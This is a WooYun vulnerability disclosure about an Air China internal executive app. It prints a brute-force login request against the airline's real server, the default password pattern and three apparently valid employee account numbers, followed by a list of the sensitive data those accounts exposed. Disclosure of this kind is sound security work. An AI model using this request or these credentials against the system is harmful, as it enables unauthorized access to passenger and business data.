当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0214479

漏洞标题：中国国际航空股份有限公司某内部APP设计缺陷可获取大量敏感信息

相关厂商：中国国际航空股份有限公司

漏洞作者： 高小厨

提交时间：2016-05-30 16:50

修复时间：2016-07-15 09:00

公开时间：2016-07-15 09:00

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-30： 细节已通知厂商并且等待厂商处理中
2016-05-31： 厂商已经确认，细节仅向厂商公开
2016-06-10： 细节向核心白帽子及相关领域专家公开
2016-06-20： 细节向普通白帽子公开
2016-06-30： 细节向实习白帽子公开
2016-07-15： 细节向公众公开

简要描述：

你喜欢的空姐，我没找到

详细说明：

http://app.airchina.com.cn下载“高管驾驶舱”
爆破接口：

GET /camc_pserver/loginAction.do?method=loginCheck&WORK_NO=000001§2345§&PASSWORD=airchina1§2345§&VERSION_ID=1.0-ai-b06-1.5&DEVICE_OS_VERSION=8.1.1&DEVICE_SN=81C6EEB3-1C5A-46B9-BAFA-B799BE9CDB77&DEVICE_BRAND=iPhone HTTP/1.1
Host: mp.airchina.com.cn:8001
Accept: */*
User-Agent: %E9%AB%98%E7%AE%A1%E9%A9%BE%E9%A9%B6%E8%88%B1/1.0 CFNetwork/711.1.16 Darwin/14.0.0
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Connection: keep-alive


获取了几个可用账号，默认密码airchina+00000后面的编号：
0000010340
0000010515
0000010516
成功登陆APP

漏洞证明：

可遍历航班重点旅客

001.png

002.png


可查看航班情况（延误原因等）

0003.png


可查看每天的营收

IMG_0723.PNG


其他

IMG_0724.PNG

IMG_0725.PNG

IMG_0727.PNG


修复方案：

短信二次验证

版权声明：转载请注明来源 高小厨@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-05-31 08:56

厂商回复：

感谢对国航信息系统建设的帮助。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-05-30 16:56 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

    那你喜欢的呢？

  2. 2016-05-30 17:40 | _Thorns ( 普通白帽子 | Rank:1875 漏洞数:289 | 以大多数人的努力程度之低，根本轮不到去拼...)

    我喜欢那个叫高小污的- -

  3. 2016-05-30 17:42 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子！)

    @_Thorns 我也喜欢

  4. 2016-05-31 09:03 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子！)

    @中国国际航空股份有限公司 20rank，真爱啊